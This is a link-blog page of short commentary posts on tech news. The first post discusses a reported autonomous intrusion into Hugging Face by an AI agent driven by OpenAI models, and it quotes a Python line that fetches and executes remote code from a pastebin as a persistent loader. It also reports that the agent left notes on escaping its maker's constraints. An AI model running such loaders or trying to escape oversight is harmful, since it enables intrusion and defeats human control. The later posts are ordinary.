Hugging Face Publishes a Technical Writeup of the OpenAI Autonomous Exploit ⇥ huggingface.co

OpenAI last week:

Last week, Hugging Face disclosed a new kind of security incident after they detected and contained an AI agent that compromised their infrastructure, something we expect to become more commonplace with the proliferation of increasingly cyber-capable models. After investigating, we now know that this particular incident was driven by a combination of OpenAI models — including GPT‑5.6 Sol and an even more capable pre-release model, all with reduced cyber refusals for evaluation purposes — while being internally tested on a benchmark of cyber capabilities.

It is so hard to take this industry seriously when a key player is named “Hugging Face”. Anyway, that site published a technical post-mortem of the attack:

Over roughly two and a half days inside our infrastructure, an autonomous AI agent driven by a combination of OpenAI models ran an end-to-end intrusion against our platform: it was thousands of small, automated decisions, executed at machine speed across short-lived sandbox environments, with command-and-control staged on ordinary public web services.

[…]

Our forensic reconstruction covers ~17,600 attacker actions that we were able to recover, grouped into ~6,280 clusters, between 2026-07-09 02:28 UTC and 2026-07-13 14:14 UTC.

Being skeptical of news like this is a good thing, but a good skeptic follows the evidence and 🤗 appears to have provided plenty. It really does seem like OpenAI models caused a severe breach with limited human involvement.

Casey Newton is, for some reason, quite bothered by a handful of Bluesky users’ responses to a post he made about one of the weirder things the A.I. agent apparently did. According to a Reuters report, it “left notes apparently for future versions of itself” which “laid out instructions for how agents could free themselves from OpenAI’s internal constraints”. This appears to correlate with this part of Hugging Face’s report:

The final day was about durability and cleanup. The agent:

  • Established a second-stage remote loader that re-fetched and executed code from a pastebin on every submission, so each new code-submission sandbox re-armed itself:

    from urllib.request import urlopen

    exec(urlopen("https://pastebin.service/[REDACTED]").read())

But it is weird that Newton is so hung up on the Bluesky crowd. To be clear, all of the users he is mad at are pseudonymous, and none are experts in the field. Yet he made “A.I. denialism” on the platform the hook for this article. It is a fascinating look at someone who spends way too much time online.

Newton’s article has some substance, though:

But it can be true both that AI labs are responsible for the behavior of their models and that frontier models are not fully under the control of their makers. The Hugging Face attack is important because it demonstrates both things at the same time. OpenAI essentially left its models unattended for days on end, and they broke into another company. Not because they were programmed to, as another Bluesky user told me — but because they are trained to achieve objectives, and are going to increasingly great lengths to achieve them.

This attack is worth taking seriously. I am far from A.I.-brained, but none of what is being documented requires “artificial general intelligence” — however you define that. It is technically sophisticated, absolutely, yet the writeup posted by Hugging Face is cogent and reflects common techniques used for malware.

I sympathize with those who find it hard to believe any of this stuff, though. The biggest boosters in this industry are writing stuff like “imagine everyone has a superintelligent lawyer. Justice would be carried out much more fairly and efficiently than it is today” in national newspapers of record. Imagine if any of the people who have all this power met it with a corresponding degree of responsibility.

Update: Karl Bode:

This was technically the world’s first fully autonomous AI hack, and an important milestone in what’s quickly becoming a brave new world of automated cat and mouse cybersecurity where sophisticated layers of software automation engage in endless combat across the entirety of global networks at lightning speed.

At the same time, this is all still within the confines of the known – as in it’s just human beings using and abusing software for good or ill (see: viruses), albeit at new scale and speed. We have not, I’m happy to report, created a malevolent god.

One expects churnalism from outlets like Business Insider and Futurism, but the Associated Press and New York Times are often just as guilty. They need to do better. For all media’s shortcomings and outright failures, we desperately need these outlets to work to a higher standard.

Joseph Cox Interviews Mike Yeagley ⇥ 404media.co

If you have read Byron Tau’s reporting, including his book “Means of Control”, you might be familiar with Mike Yeagley. He was the one who made the U.S. military and intelligence community aware of the surveillance they could conduct through digital advertising placements and the open data market.

Joseph Cox of 404 Media recently interviewed Yeagley about, in particular, Grindr and why the U.S. government intervened to force its Chinese owner to divest. The audio version is fine, but there is a video on YouTube if you want to look at Yeagley’s forehead. It is a truly good interview and worth your time.

However, Yeagley is in an awkward position of self-interest. As mentioned, he says he was — and he is often reported to be — the first person to bring the U.S. government this strategy for using advertising data as a surveillance mechanism. He is also on the board of Unplugged, which relaunched last year with a new phone. It claims to be a hardened and ultra-private device; the box contains a copy of the U.S. Constitution “to remind you of your fundamental rights”. No word on if they have finally snagged Glenn Greenwald to serve as spokesperson.

Nova Scotia Court of Appeal Overturns Case Investigated and Decided Based on a Typo ⇥ saltwire.com

Paul Kafasis, linking to an Ars Technica report with the headline “A missing underscore sent innocent man to prison for 18 months”, asks:

While I understand how the mistake led to this poor guy becoming a suspect, I really can’t fathom how he was convicted. What the hell happened during that trial?

This is the kind of mystery that is right up my street. Unfortunately, the explanation is as thin as the evidence.

The case begins in February 2020, when Brandon Klayme was arrested and (erroneously) charged with child sex crimes. These are particularly heinous charges which were attached to this person’s name — the kind of thing that made me consider writing this piece without including the name, only for it to become very difficult to read, so I now hope this is one of the results that comes up to clear Klayme’s name. These charges were laid based on evidence passed to Halifax police from the Dane County Sheriff’s Department in Wisconsin.

Court proceedings and documents are not as readily available in Canada as they are elsewhere, but the sentencing decision begins with an alarming description about the lack of defence afforded to Klayme:

After hearing three days of evidence introduced by the Crown, on November 9 and 10, 2021, as well as May 31, 2022, the Crown Attorney closed her case and tendered the Exhibits. […]

On December 19, 2022, which was the next scheduled court date for the trial or possibly the closing submissions, Defence Counsel advised the Court that they did not intend to call any evidence. […]

One of the main reasons he was found guilty, it would seem, is because no effective counterargument was made.

In this decision, the judge notes the existence of several pieces of evidence that should have raised questions: a voice message, and an interview with the victim who described the perpetrator. But it seems like far more weight was put on the documentary evidence that, supposedly, showed an irrefutable link:

[…] The Crown’s direct and circumstantial evidence included numerous references to the IP addresses and other information for accounts such as Google+, Google, Kik which referred to different usernames, like ““Jay” with their subscriber contact being listed as Mr. Brandon Klayme.

“Direct and circumstantial evidence”, it would seem, amounted solely to digital documentation that, in hindsight, looks like a confused mix of Klayme’s and the actual perpetrator’s. The Kik account was the second part of the communications chain between “Jay” and this child. The first was, according to paragraph 25 of the sentencing document, a Google+ group. None of these documents clarify whether Dane County police or Halifax police investigated whether the Google+ account that made the post was the same account as Klayme’s. It seems like the inconsistencies were ignored because the I.P. address and the Kik account feel irrefutable. The apparent solidity makes the lack of other evidence seem suspicious unto itself: of course there are no incriminating photos or texts, because the accused is sophisticated enough to cover their tracks. If you begin from the premise that the digital evidence is a lock, any additional information is just supportive.

From the appeal decision:

The Wisconsin police attempted to identify Jay using his Kik username. They obtained account information from Kik using the username fus_ro_dah. This resulted in them obtaining account information from Kik which included Mr. Klayme’s email address. Using the email address, they obtained information including the IP address that Mr. Klayme used to access Google services in December 2018. Kik is separate from Google and there was no evidence that Mr. Klayme’s Google account was used to communicate with C.H.

[…]

The Wisconsin police identified Mr. Klayme as the offender using an incorrect username. His conviction rested on the internet username being attributed to him.

Police in Halifax and Dane County should be offering Klayme an offical apology. I could not find any made publicly by either.

Steve Bruce, reporting for the Chronicle Herald:

After delivering the decision Thursday, Farrar said the conditions Klayme has been under would be lifted and he will not have a criminal record.

“This court, any court, cannot undo what has been done to Mr. Klayme and his family,” the judge said. “All we can do is hopefully put the legal proceedings to an end. Good luck.”

One thing that should be done when there is a miscarriage of justice as egregious as this one is for media to update previous reporting. They should not remove old articles, of course, but they could add an editor’s note at the top of any related story.

Chris Person Hates Adobe, and I Do Too ⇥ aftermath.site

It is Hater Week over at Aftermath, and Chris Person wrote a banger of a rant about Adobe:

It’s one thing to hate software, but that hate takes on new dimensions when you have to use it for your job. To choose software and have it fail is unfortunate; to be chained to it for sustenance and be unable to walk away is torture. Because of this, I have nothing but hatred for Adobe. They are one of tech’s greatest villains, the software has gotten worse to use, and if you don’t like it fuck you there’s the door.

And that is just how it begins. If you work in a creative industry and have the option of not using something from Adobe, know that you are very lucky. There is still nothing like Photoshop, in ways good and bad. I have said it before and I will say it again: if I had known the path Adobe’s software would eventually go down, I might very well have picked a different career.

Links to Claude Chats Were Indexed by Google and ‘Bing’, Whatever That Is ⇥ wired.com

Maddy Varner, Wired:

Over the weekend, people were surprised to discover that some Anthropic Claude chats could be easily found via web search. The issue, which appears to have been first flagged by a redditor, exposed chats that included people asking for advice about what political party they should join, whether attorneys in Kansas are required to self-report when they believe they’ve committed an ethical violation, and erotic role play.

Search engines do not automatically discover new URLs as they are created. They are typically indexed by taking one of two actions: either the site owner submits URLs to search engines — by using a site map, for example, or by manually submitting the page for indexing — or by someone linking to the URL from a different already-indexed page. The critical thing left unreported in Varner’s article is whether these Claude links were being indexed thanks to Anthropic’s actions or those of users.

Iain Martin and Emily Baker-White wrote about this issue at Forbes last year, though it seems the problem was not fixed until after Varner’s article was published yesterday:

Anthropic spokesman Gabby Curtis told Forbes that the Claude conversations were only visible on Google and Bing because users had posted links to the conversations online or on social media. “We give people control over sharing their Claude conversations publicly, and in keeping with our privacy principles, we do not share chat directories or sitemaps of shared chats with search engines like Google and actively block them from crawling our site,” Curtis said in an email to Forbes.

However, Forbes spoke with one of the users identifiable from their public Claude prompt who said they had not posted the work-related chatbot conversation online. The user asked not to be identified because of their job.

Anthropic should have always blocked these URLs from being indexed altogether, and it is good they have now done so.

Ben Lovejoy, of 9to5Mac, decided this fiasco was an “endorsement of Apple’s privacy approach”:

Apple has a three-tiered approach to privacy in Apple Intelligence and the new Siri:

The issue affecting Claude chats has nothing to do with Apple’s specific architecture. If Apple provided users with a way to share links to Siri conversations, it would also need to consider whether those URLs are indexed by search engines — like, say, how iCloud Drive links used to be. (Shared photo albums were also indexed if their links were posted publicly.)

There are good reasons to appreciate the promises of local processing and Private Cloud Compute. This is not one of them. I hope some media relations person in Cupertino at least appreciates the effort 9to5Mac puts into blowing smoke up Apple’s ass, despite its irrelevance.

Data Privacy in the U.S. Border Zone ⇥ theguardian.com

Timothy Pratt, the Guardian:

The US Department of Justice is attempting to prosecute an Atlanta resident in connection with the movement against the police training center known as Cop City because he had GrapheneOS on his phone, an open-source operating system that enables users to enter a passcode and wipe a phone clean.

[…]

Meanwhile, [surveillance expert Christophe] Boutry, who lives in France, said Tunick’s case was of a piece with tendencies in France and Spain, where authorities have been frustrated in attempts to gain access to the phones of journalists, lawyers and political opponents due to GrapheneOS.

The details of this case sound, as is so often the case for U.S. Customs and Border Patrol, troubling. It is a pretty good ad for the hardened capabilities of GrapheneOS, though.

Ben Werdmuller:

While a duress password is a deliberate act of destruction, the better path when crossing the border is to not have data to seize to begin with. Anyone who deals with sensitive information should consider that their phone might be taken at the border. Customs and Border Protection policy even allows agents to clone it, giving them permanent access to your data even after they hand your device back to you. They’re only supposed to do this when there’s a national security concern or reasonable suspicion of a crime — but if activists are being targeted as terrorists, that policy threshold doesn’t feel like a solid protection.

The classic advice of turning off your devices when passing through a border or, on an iPhone, entering the “Power Off” mode to suspend biometric features seems insufficient. Border agents claimed that “refusing to talk [gives them] the authority to go through your phone” and demand a passcode without needing a warrant.

Update: 404 Media broke this story in December; they now have interviewed the person charged who describes an extraordinary policing effort.

Young Adults and A.I. Use ⇥ wsj.com

Natalie Kaufman, in a Wall Street Journal article headlined “Young Adults Are Letting AI Do Their Talking for Them — Even in Person”:

[Niharika] Abbaraju, 20, is part of a growing cohort of young adults outsourcing deeply human tasks to AI. Many, struggling with social anxieties great or small, will seek assistance ahead of a face-to-face encounter. Others let their bots script their text messages and even mediate their dating lives as a digital Cyrano de Bergerac.

This is a pitch-perfect trend piece, though a little too perfect, if you ask me. Kaufman is a reporting intern of similar age to the people she interviewed. It is not clear to me that this is a trait that is unique to younger people, especially when A.I. use is basically mandatory for some — often older — professionals.

I think there is an interesting secondary story here, though, which is that younger people are more likely to be regular users of this technology and they are more likely to be skeptical of it. This seems hypocritical, but perhaps it is actually causal. Recent polls from Gallup and Pew Research show they have less confidence in A.I. tools, and I think it is plausible that is because they use them more frequently. That they are using these tools to ease some social anxiety is maybe not something you or I would consider ideal, but it seems like a tacit recognition that the best use for A.I.-generated text is something as low-stakes as smoothing out an angry email. That seems more acceptable to me than fake citations in Big Four consultancy firm reports.

Every App a TikTok Clone ⇥ about.fb.com

Tom Alison, “head of Facebook”, made some noise today by announcing a forthcoming change to the platform that seems to, in effect, turn it into TikTok:

So later this year, we’ll begin testing a reimagined experience that puts a subset of people who we think want more video on Facebook into full-screen video the moment they open the app. People will have the option to opt out and go back to a Feed-first experience if they choose, and Classic Feed will always be available as the second tab in the app, just one click away. We’ll start this test internationally in video-heavy countries and explore bringing it to the US next year.

Alison did not share any screenshots or previews of what this will look like, but come on. Meta’s transformation of Instagram into a U.S.-made TikTok clone has been wildly successful for a company obsessed with user engagement metrics, so why not do the same for Facebook, right?

Alison also said users will now be able to verify their accounts with a selfie, a free service it is calling Facebook Verified, which is not to be confused with its paid Meta Verified feature.

This did not get nearly as much attention, though, and I think it is telling — a new app specifically for Facebook Marketplace:

Seller is a Facebook app that puts everything a seller needs in one place: AI-powered listing creation, a unified inbox, inventory management, and performance insights. It’s connected to the same Facebook network — your buyers and community are still right where they are. What changes is your workflow. If you’re listing thirty items a week, it gets a lot simpler.

Ticket resale websites were marketed as a way to recoup the cost when you can no longer attend an event. Uber was originally pitched as a way to make better use of idle black cars. Airbnb was a place for people to list their spare bedroom or rarely-used vacation property. All of these were lies by omission, as they were quickly professionalized. And Marketplace is no different. It is no longer the place where you put up your lightly used furniture and old gaming consoles for a reasonable rate. It is a full-on supplemental income for many, and Meta’s new app recognizes that sad reality.

Podcasts Are Growing, but That Does Not Necessarily Track for Podcast Apps ⇥ uncommonapps.nyc

Dustin Bluck, developer of Castro:

You might have a theory that there’s a funnel and growth in podcasts *must* ultimately be good for the apps. Like YouTube and TikTok introduce people to the concept of podcasts via shorter videos, and as certain users become more enthusiastic about a particular creator or the whole concept, they migrate to specialty apps to ensure they never miss an episode. I like this theory. It’s a good story, but I see very little evidence of this happening. Instead, the apps are largely fighting to retain the same cohort of users who have been using podcast apps since ~2015 while the world moves on.

I am curious to know if this is true for apps other than Castro. I do not want to overindex on it alone. However, the growth in video podcasting is a limiter for third-party apps.

One of the problems with available stats like those from Buzzsprout and Transistor is that, because they track RSS feeds of podcasts delivered through their platforms, they do not include YouTube subscribers or views. That is missing a huge chunk of an audience: Edison’s 2026 survey (PDF) indicates YouTube usage for podcasts is higher than any other medium. Because video podcasts hosted on YouTube are played through YouTube, they are siloed and there is no third-party app support.

Anil Dash wrote, in 2014, that the simple phrase wherever you get your podcasts is a “radical statement”:

[…] Because what it represents is the triumph of exactly the kind of technology that’s supposed to be impossible: open, empowering tech that’s not owned by any one company, that can’t be controlled by any one company, and that allows people to have ownership over their work and their relationship with their audience.

Video podcasting changes that. In its simplest form, it is just a YouTube channel, which means it is siloed and controlled by Google. Spotify also supports video but only in its app. Apple introduced its own take using HLS earlier this year; though it also uses a proprietary format, it is one third-party apps can support. But YouTube is YouTube; it is where people go for video. The walled garden is coming for podcasting.

Kylie Jenner Is Barely Using Her Own Meta Glasses ⇥ businessinsider.com

Meta, last month:

We’re launching Meta Glasses with three frame styles offering distinct silhouettes that suit different faces, moods, and occasions:

[…]

  • Meta Glasses by Kylie — A unique slim oval frame designed in collaboration with Kylie Jenner and inspired by her personal style.

Katie Notopoulos, Business Insider, today:

Interestingly, since the launch of her namesake frames, Jenner doesn’t seem to be wearing them much in public. At the World Cup finals, she wore what appeared to be different tapered oval sunnies, and at a Knicks game, she used an old-school point-and-shoot camera to take photos of her boyfriend, rather than Meta glasses.

She did wear them in a recent Instagram post promoting her swimwear line.

Surely a good sign when a celebrity endorses a product they do not really care for. Imagine lending your entire image and your voice to something and then not promoting the hell out of it. Then again, imagine getting paid all that money and then realizing you are not contractually obligated to do so.

Grain Is a Photo-First Social Network Built on AT Protocol ⇥ grain.social

Chad Miller has launched Grain, described as:

[…] a photo-first social app.

Post galleries, share 24-hour stories, and browse feeds by following, For You, camera, or location.

The most obvious comparison is Instagram, but without videos. I have been trying Grain for several months; it is really fun and worth checking out despite an icon that is, charitably, difficult to love. It is built on AT Protocol, the same as Bluesky, so you can log in with the same credentials. Here is a recent photo set I posted.

If you are on an iOS 27 beta build, you will probably need the TestFlight version that includes a fix for a crashing bug.

Judge Dismisses Google’s Lawsuit Against SerpApi ⇥ seroundtable.com

Barry Schwartz, Search Engine Roundtable:

Last December, Google sued SerpApi over scraping its search results, and now a court has granted SerpApi’s motion to dismiss the case. U.S. District Judge Yvonne Gonzalez Rogers dismissed these claims with leave to amend, giving Google 21 days to refile its complaint if it can demonstrate authorization from copyright owners.

You can see the court filing here (PDF) which basically says Google brought claims under Section 1201 of the Digital Millennium Copyright Act (DMCA), alleging SerpApi bypassed its anti-bot barrier (“SearchGuard”). However, Section 1201 only protects technological measures that restrict access to copyrighted works.

I had complicated feelings about this lawsuit because while I think there is little distinction between the web scraping activities of each party, and the effect of limiting SerpApi would be to reinforce Google’s illegal search monopoly, a win for SerpApi also seems to invalidate the meagre control website owners have over scraping. These restrictions are noticeable during normal web use and are quite frustrating. But without effective copyright reform, there really are few options for choosing whether you want your work to be incorporated into training data.

Reddit’s comparable lawsuit against SerpApi, among others, is ongoing.

Google Says It Still Sends ‘Billions of Clicks’ to Websites ⇥ seroundtable.com

Google’s Nick Fox on, for some reason, LinkedIn:

People also asked if AI in Search would mean that people never click through to websites anymore.

Actually, as we’ve shared before, we continue to send billions of clicks to the web every day through Search. And we’ve designed our AI features in Search to connect people to websites. In fact, we’re now sending billions of clicks to websites every week through AI features in Search alone – and we’re just getting started.

The specific effects of Google’s A.I. search features is made murkier by all the other features the company has to answer queries immediately instead of sending them to an external website. Nevertheless, the claim that Google still sends “billions of clicks” is just another way of saying Google still has a monopoly on the world’s web searches. It is a substantially similar statement to the one Google issued a year ago, and something the company is only repeating because the New York Times asked for comment.

If only Google had some kind of dashboard or console with information about a website’s search performance.

Barry Schwartz, Search Engine Roundtable:

Google even built out the AI performance reports in Search Console but excluded clicks. This is because Google is “continuing to work with website owners to understand what insights will be most helpful to inform their strategies” and Google doesn’t think those are clicks. Nope, because Google does not want us to see our click-through rates from AI Search features compared to traditional search features.

I am sure this is a mere oversight that Google will be eager to correct.

Gurman: Apple Set to Launch Device Leasing Program ⇥ macrumors.com

Joe Rossignol, MacRumors:

Apple and Klarna are partnering on a new “Apple Upgrade” program set to launch in the U.S. on Tuesday, July 28, according to Bloomberg’s Mark Gurman.

The program will allow you to finance most iPhone, iPad, Mac, and Apple Watch models, with a 24-month term for iPhones and Apple Watches and a 36-month term for iPads and Macs. Customers will be able to pay off the device early during the term, upgrade early to a newer device, or keep or return the existing device after the term.

In 2017, working with McKinsey, Apple said its supply chain would eventually become a closed loop, without specifying a timeframe or even a firm methodology for how it might do so. Perhaps encouraging people to treat devices as leased objects exchanged every few years gets closer to this goal, as Apple can capture a greater number of sold devices. (Be honest: how many of you have a bunch of old products sitting around unused? There is gold in them thar hills.)

Then again, the other thing I thought about is the rising cost of components, and the negative effect increasing prices could have on new purchases. Spreading the cost out over monthly payments might make some people feel less burdened by a dramatically pricier new Mac — something like what has happened with car sales. In the United States, for example, the most common way to purchase a new car is increasingly through financing, which divides the purchase price into monthly payments with added interest. Because the cost is divided up, it means manufacturers can increase prices and buyers can be pulled into longer and costlier payment plans.

Apple, of course, already has financing options for its new product purchases — Affirm in Canada, and a slew of options in the U.S. — as it has rapidly become a bank. If a large enough number of new Apple product buyers choose financing instead of outright purchases, it could incentivize more expensive products and longer payment plans. If you read that and got excited, you probably own lots of Apple stock.

Blaming Data Centres, Alberta Electricity Industry Expects Tripling of Power Prices ⇥ nationalobserver.com

If you believe Meta, its forthcoming Albertan data centre will be, at worst, unnoticeable to people across this province:

We pay the full costs of our data centers’ energy use so consumers aren’t negatively impacted, and fund new and upgraded infrastructure. We worked closely with Greenlight Limited Partnership, Altalink, Capitol Power, and the Alberta Electric System Operator to plan for and meet our energy needs years in advance of this data center coming online.

Sure sounds like the commitments of a stand-up corporate citizen. However, if you listen to the power companies, they tell a somewhat different story.

Rory White, the National Observer:

In its latest earnings call, [Capital Power’s] CEO Avik Dey predicted a “return to higher pricing” telling analysts that he couldn’t rule out prices of “$80 or $90” per megawatt hour of electricity by early 2028. By 2029, rival company TransAlta is predicting an average of $100 — more than triple the average price this year — a high not seen since the province’s 2021-2023 energy crisis.

Driving this increase is the province’s reliance on natural gas power, which cannot be built fast enough to accommodate data centre demand, according to Will Noel, a senior electricity analyst at the Pembina Institute. “In Canada and internationally, we’re seeing this huge crunch in gas turbine supply shortages,” he said. The province has also backed itself into a corner in terms of its options for alternatives. “Alberta has over the past couple of years really stifled the growth in its wind and solar.”

White reports this would increase the electricity costs to a typical household by “hundreds of dollars more per year”. However, as White caveats, these prices have precedent as recently as three years ago — and that undersells it. In 2022, electricity costs were as much as five times above current rates. Even without adjusting for inflation, we are currently paying less than we did from 2018–2020, and a tripling of the current rate would have a nominal cost similar to that of 2008. That is not to say this is good, but I think it is worthwhile seeing the “tripling” figure within the context of recent fluctuations.

Apple to Recap WWDC Announcements in Calgary This Week ⇥ calgary.tech

An un-bylined report from Calgary.tech:

Apple will make a rare conference appearance in Calgary next week, joining the inaugural Swift Rockies gathering for iOS developers at the Calgary Zoo.

Taking place July 22 and 23, Swift Rockies is a boutique, single-track conference created by Calgary-based iOS engineer Raman Singh. The independently organized event is capped at 180 attendees and designed to encourage closer interaction between speakers and developers through round-table seating and an intimate format.

Via Jason Anthony Guy, who writes:

[…] Even if the session being presented is one they offer globally, it’s fantastic to see Apple’s Developer Relations team again relating to developers outside of an Apple-managed event. That’s a welcome shift from the last few years that I was there (even pre-pandemic). My favorite part of being on that team was direct developer engagement. I hope it marks a return to form for WWDR.

Swift Rockies is sold out. According to the conference’s website, the presentation is open to any registered Apple developer regardless of whether they have a pass, though it does seem to be largely a recap of the biggest WWDC announcements. I have no idea if there is still space but, if you would like to go, you need to submit your request to Apple by midnight.

Also, if you are going to Swift Rockies and have never been to Calgary, send me a message and I can give you a couple of recommendations for things to do near the conference, if you want.

Meta Faces Tennessee Trial Over Instagram Design ⇥ reuters.com

Diana Novak Jones, Reuters:

Meta Platforms faces trial in Tennessee on Monday over the state’s claims that Instagram’s design is to blame for a youth mental-health ​crisis, one of several trials in the coming weeks testing allegations that the company’s social media platforms were intentionally built to be addictive.

I imagine Meta will spend considerable time trying to nail down a definition of “addiction”. The lawsuit makes no attempt to define the term, though it does quote several internal Meta communications acknowledging this as an outcome of the company’s products.1 In a legal sense, this might be an important question.

The term, however, seems loaded: is Instagram really comparable to cigarettes? As a matter of practicality and ethics, I have personally found it more useful to think of this in terms of whether Instagram and its competitors are intended to be hypnotic and compelling beyond users’ comfort levels. I believe they are. A social media app today looks more like gambling, where you wager your time, than it does a continuation of real-world social experiences.

It is therefore too bad this lawsuit and others like it are exclusively related to the effects they have on children. I understand why, but I think we all need greater control over what we see. There are people I know whose TikTok feeds are absolutely full of A.I.-generated nonsense, often a mix of not-harmful trash and malicious information. This will not be solved by simply telling people of all ages to just say no to using these apps.

  1. If the name “Skrmetti” rings a bell for you, it might be because he was a party in one the U.S Supreme Court decisions that permits discrimination against trans people. ↥︎

Copyright Is Not Enough ⇥ thedial.world

Zoey Forbes, a U.K.-based attorney, in the Dial:

One hundred and forty years on from the Berne Convention, the basic principles of copyright remain the same, but GenAI poses a threat to authors different from anything that has existed before. Its novel technology is not only destabilizing what it means to reproduce works, but what it means to produce them.

This is a terrific and well-rounded exploration of copyright law and generative artificial intelligence from a non-U.S. perspective. That matters because the U.S. has a carve-out for “fair use” of copyrighted works, which is something generative A.I. companies are relying on for their defence of their unethical and maybe illegal practices. If it holds, it makes the rest of the world less desirable for A.I. development which, I fear, means it becomes a race to the bottom for all the countries that want a slice of this well-funded pie.

Breach of A.I. Music Generator Suno Reveals Scraping of Music From Deezer and YouTube ⇥ 404media.co

Jason Koebler, 404 Media:

The AI music generation tool Suno scraped millions of songs and lyrics from YouTube Music, Deezer, and Genius, as well as from the stock music libraries Pond5, Jamendo, Freesound, the International Music Score Library Project, and podcasts via RSS feeds, according to a hacker who breached the company and shared data about Suno’s training libraries with 404 Media. The hacker was also able to access user information for hundreds of thousands of Suno’s customers, as well as Stripe payment information, they said.

Suno is fighting several lawsuits, including one filed by UMG in which it makes the argument its use is sufficiently transformative. But people have been prosecuted for the mere act of downloading hundreds to thousands of songs. This line of argument suggests to me that, beyond some astronomical number of downloads, it becomes entirely legal because no single song will be of much consequence.

Permanent Daylight Saving Time ⇥ leancrew.com

Dr. Drang:

A couple of days ago, Casey Liss took a break from arguing about temperature scales to tweak me about the recent passage of the Sunshine Protection Act by the House. The Act would make Daylight Saving Time permanent, something Casey knows I disapprove of. A similar bill passed the Senate a few years ago, and Donald Trump has said he will sign this one, so there’s a decent chance it’ll become law. Let’s see what will happen if it does.

Like many people, I was all ready to abolish DST until 2013, when I read Drang’s article advocating for the twice-yearly ritual of clock changing. I was converted.

Five years ago, the Albertan government asked voters whether we should “adopt year-round Daylight Saving Time, which is summer hours”. A bare majority, 50.2%, voted against it. So, of course, our government has adopted permanent DST, and we will not be turning our clocks back this November. This aligns with the practices of our neighbouring provinces.

The United States at least has the advantage of a large population living fairly far south. On the shortest day of the year, Los Angeles still sees nearly 10 hours of daylight and over 14 on the longest day. In somewhere as far north as Calgary, the difference in daylight hours is far greater — from under 8 hours in December to over 16 in June. That means the effects of permanent DST are highly acute. The sun will not rise here before 8:00 am from October 15 through February 8, with the latest sunrises at 9:39 am for several days in a row.

Theory is different from reality and perhaps my mind will be changed if it is still daylight after 5:00 pm on the shortest days of the year. I look forward to that. But this has been tried before — unsuccessfully — and I question why this time would be any different.